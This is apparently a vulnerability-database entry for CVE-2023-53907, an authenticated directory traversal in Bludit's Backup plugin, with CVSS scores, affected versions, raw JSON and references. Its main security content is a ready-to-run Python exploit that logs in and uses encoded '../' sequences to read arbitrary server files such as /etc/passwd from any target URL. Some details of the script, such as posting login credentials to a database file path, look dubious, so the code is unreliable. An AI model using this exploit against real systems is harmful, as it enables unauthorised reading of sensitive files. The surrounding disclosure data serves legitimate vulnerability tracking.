Security Vulnerability Report
中文
CVE-2023-53907 CVSS 6.5 MEDIUM

CVE-2023-53907

Published: 2025-12-17 23:15:49
Last Modified: 2025-12-31 18:31:32

Description

Bludit versions before 3.13.1 contain an authenticated file download vulnerability in the Backup Plugin that allows logged-in users to access arbitrary files. Attackers can exploit the plugin's download functionality by manipulating file path parameters to read sensitive system files through directory traversal.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:bludit:bludit:*:*:*:*:*:*:*:* - VULNERABLE
Bludit < 3.13.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2023-53907 PoC - Bludit Backup Plugin Directory Traversal # Target: Bludit CMS < 3.13.1 # Type: Authenticated Arbitrary File Read via Path Traversal def exploit_bludit_lfi(target_url, username, password, filename='/etc/passwd'): """ Exploit authenticated arbitrary file read vulnerability in Bludit Backup Plugin. Args: target_url: Base URL of the vulnerable Bludit installation username: Valid low-privilege user account password: Password for the user account filename: Path to file to read (default: /etc/passwd) Returns: Content of the requested file if exploitation succeeds """ login_url = f"{target_url}/bl-content/databases/users.php" session = requests.Session() # Step 1: Login to obtain authenticated session login_data = { 'username': username, 'password': password } try: login_response = session.post(login_url, data=login_data) # Step 2: Exploit path traversal in Backup plugin download functionality exploit_url = f"{target_url}/bl-plugins/backup/function/download.php" # Path traversal payload - encode ../ sequence to bypass filters payload = "..%2F..%2F..%2F" + filename.replace('/', '%2F') exploit_params = { 'path': payload } exploit_response = session.get(exploit_url, params=exploit_params) if exploit_response.status_code == 200: print(f"[+] Successfully retrieved file: {filename}") print(f"[+] File content length: {len(exploit_response.text)} bytes") return exploit_response.text else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2023-53907.py <target_url> <username> <password> [filename]") print("Example: python cve-2023-53907.py http://target.com admin password /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] if len(sys.argv) > 4 else '/etc/passwd' result = exploit_bludit_lfi(target, user, pwd, file_path) if result: print("\n" + "="*50) print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53907", "sourceIdentifier": "[email protected]", "published": "2025-12-17T23:15:48.883", "lastModified": "2025-12-31T18:31:31.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bludit versions before 3.13.1 contain an authenticated file download vulnerability in the Backup Plugin that allows logged-in users to access arbitrary files. Attackers can exploit the plugin's download functionality by manipulating file path parameters to read sensitive system files through directory traversal."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bludit:bludit:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.13.1", "matchCriteriaId": "3F07EB57-0333-4B8C-8995-7F5C34DBA966"}]}]}], "references": [{"url": "https://www.bludit.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51541", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/bludit-authenticated-arbitrary-file-download-via-backup-plugin", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}